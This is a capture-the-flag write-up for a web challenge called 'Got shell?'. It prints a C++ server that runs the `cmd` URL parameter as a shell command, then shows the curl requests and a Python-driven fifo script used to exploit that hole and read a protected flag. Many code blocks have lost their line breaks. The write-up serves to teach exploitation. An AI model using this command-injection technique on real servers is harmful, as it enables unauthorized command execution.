# Day 24 - Got shell? - web, linux
> Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
Service: [http://3.93.128.89:1224](http://3.93.128.89:1224)
## Initial Analysis
Looking at the only page for the challenge we get a single-page C program:
```c#include "crow_all.h"#include <cstdio>#include <iostream>#include <memory>#include <stdexcept>#include <string>#include <array>#include <sstream>
std::string exec(const char* cmd) {    std::array<char, 128> buffer;    std::string result;    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);    if (!pipe) {        return std::string("Error");    }    while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {        result += buffer.data();    }    return result;}
int main() {    crow::SimpleApp app;    app.loglevel(crow::LogLevel::Warning);
    CROW_ROUTE(app, "/")    ([](const crow::request& req) {        std::ostringstream os;        if(req.url_params.get("cmd") != nullptr){            os << exec(req.url_params.get("cmd"));        } else {            os << exec("cat ./source.html");         }        return crow::response{os.str()};    });
    app.port(1224).multithreaded().run();}```
From the source its clear that sending any command in the `cmd` parameter will execute a command on the server. I started by running a quick command against the service with `curl` which showed that the program was indeed what it pretended to be.
```$ curl 'http://3.93.128.89:1224?cmd=id'uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)```
## Problem Analysis
Running through several enumeration steps we find that there is a single binary in the main web root `flag_reader` along with the file `flag`. Also, the problem setup suggests that we won't be able to get an interactive shell so any command will _have_ to be run through the web shell. Running the service shows that it outputs some text, an addition equation, and an error message about some captcha.
```$ curl 'http://3.93.128.89:1224?cmd=ls%20-al'total 44drwxr-xr-x 1 root root      4096 Dec 24 11:56 .drwxr-xr-x 1 root root      4096 Dec 24 11:56 ..----r----- 1 root gotshell    38 Dec 24 08:32 flag------s--x 1 root gotshell 17576 Dec  5 17:26 flag_reader-rw-rw-r-- 1 root root     10459 Dec 24 08:32 source.html$ curl 'http://3.93.128.89:1224?cmd=./flag_reader'Got shell?1318462211 + 118538656 = Incorrect captcha :(```
It wasn't entirely clear to me at first what the "captcha" they were referring to was (but it became more obvious later). Furthermore, since we're running as `nobody` we won't have a lot of things we can write to or execute on the filesystem. Checking `/tmp` we can see that we can't list the directory, but we can write and execute files from it. My guess would be that the problem creator intended for people to write data here but didn't want participants stealing the flag from each other.
```$ curl 'http://3.93.128.89:1224?cmd=ls%20-al%20/tmp'$ curl 'http://3.93.128.89:1224?cmd=ls%20-al%20/'total 60drwxr-xr-x    1 root root 4096 Dec 24 23:02 .drwxr-xr-x    1 root root 4096 Dec 24 23:02 ..-rwxr-xr-x    1 root root    0 Dec 24 23:02 .dockerenvlrwxrwxrwx    1 root root    7 Nov 27 09:35 bin -> usr/bindrwxr-xr-x    2 root root 4096 Apr 16  2019 bootdrwxr-xr-x    5 root root  340 Dec 24 23:45 devdrwxr-xr-x    1 root root 4096 Dec 24 23:02 etcdrwxr-xr-x    2 root root 4096 Apr 16  2019 homelrwxrwxrwx    1 root root    7 Nov 27 09:35 lib -> usr/liblrwxrwxrwx    1 root root    9 Nov 27 09:35 lib32 -> usr/lib32lrwxrwxrwx    1 root root    9 Nov 27 09:35 lib64 -> usr/lib64lrwxrwxrwx    1 root root   10 Nov 27 09:35 libx32 -> usr/libx32drwxr-xr-x    2 root root 4096 Nov 27 09:35 mediadrwxr-xr-x    2 root root 4096 Nov 27 09:35 mntdrwxr-xr-x    1 root root 4096 Dec 24 11:56 optdr-xr-xr-x 1570 root root    0 Dec 24 23:45 procdrwx------    2 root root 4096 Nov 27 09:36 rootdrwxr-xr-x    1 root root 4096 Dec 19 04:22 runlrwxrwxrwx    1 root root    8 Nov 27 09:35 sbin -> usr/sbindrwxr-xr-x    2 root root 4096 Nov 27 09:35 srvdr-xr-xr-x   13 root root    0 Dec  5 18:53 sysdrwx-wx-wx    1 root root 4096 Dec 25 01:34 tmpdrwxr-xr-x    1 root root 4096 Nov 27 09:35 usrdrwxr-xr-x    1 root root 4096 Nov 27 09:36 var```
## The Clue
At first I tried a bunch of different methods for solving this - looking for ways to remove the system randomness in the captcha, searching the `/proc` filesystem for `./flag_reader` processes, trying to set environment variables for `./flag_reader`, and trying a really long argument looking for a buffer overflow. It turned out the solution was much easier than this.
Returning to the `./flag_reader`, it finally became clear that we were supposed to somehow solve the equation (or "captcha") and write the answer to the process. This would be trivial with an interactive shell, but since we can't get one, we have to rig-up a makeshift Linux command to do it all for us.
So the problem I then tried to solve was
1. Parse out the captcha from `./flag_reader`2. Solve the arithmetic3. Write it back to the process4. Read the remaining data from `./flag_reader` to get the flag.
This turned out to be the right approach and is the basis for my solution below.
## Solution
Reading data out of the process, writing data back, and then reading again made me think of a reverse shell, so I looked to a [cheat sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) for inspiration. Looking down the page, you can see that if we create a fifo pipe we can do this exact read-write-read operation. Ok, part 3 & 4 solved.
Reading the captcha out of the equation can be done with a few helpful commands - `dd` and `sed` - in order to parse out the "A + B" part of the output. Part 1 done.
Finally, solving the arithmetic can be done with a simple `expr` call. Part 2 done.
Putting it all together, I tried to fit this all on a single command line but couldn't quite get it right. I ended up writing the commands to a script in `/tmp`, setting it to executable, and then using the fifo pipe to call the script. I also used a lot of trial-and-error for this problem so to avoid manually writing all of the URL encodings I used `ipython3` to do the encodings for me automatically. My final call in `ipython3` is below which returns the flag as part of the response. Note: I just jammed on the keyboard to create random filenames in `/tmp` - these don't have any other significance.
```pythonIn [141]: print(requests.get('http://3.93.128.89:1224?cmd='+urllib.parse.quote('rm -f /tmp/qwegjnxbfx /tmp/wersxrgxr ; echo \'#!/bin/sh\nX=\x60dd bs=1 skip=10 count=23|sed \'s/=//g\'\x60\necho $X > /tmp/wrjxesjkxrg\necho \x60expr $X\x60\n     ...: dd of=/tmp/qwegjnxbfx\' > /tmp/wersxrgxr ; chmod +x /tmp/wersxrgxr ; rm -f /tmp/ff ; mkfifo /tmp/ff ; cat /tmp/ff | ./flag_reader | /tmp/wersxrgxr > /tmp/ff ; ls -al /tmp /tmp/qwegjnxbfx /tmp/wersxrgxr /tmp/wrjxesjkxrg ; cat /tm     ...: p/wersxrgxr ; cat /tmp/qwegjnxbfx ; cat /tmp/wrjxesjkxrg')).text)
-rw-r--r-- 1 nobody nogroup   40 Dec 24 20:33 /tmp/qwegjnxbfx-rwxr-xr-x 1 nobody nogroup  114 Dec 24 20:33 /tmp/wersxrgxr-rw-r--r-- 1 nobody nogroup   22 Dec 24 20:33 /tmp/wrjxesjkxrg
#!/bin/shX=`dd bs=1 skip=10 count=23|sed s/=//g`echo $X > /tmp/wrjxesjkxrgecho `expr $X`dd of=/tmp/qwegjnxbfx= AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}607588343 + 507390427
```
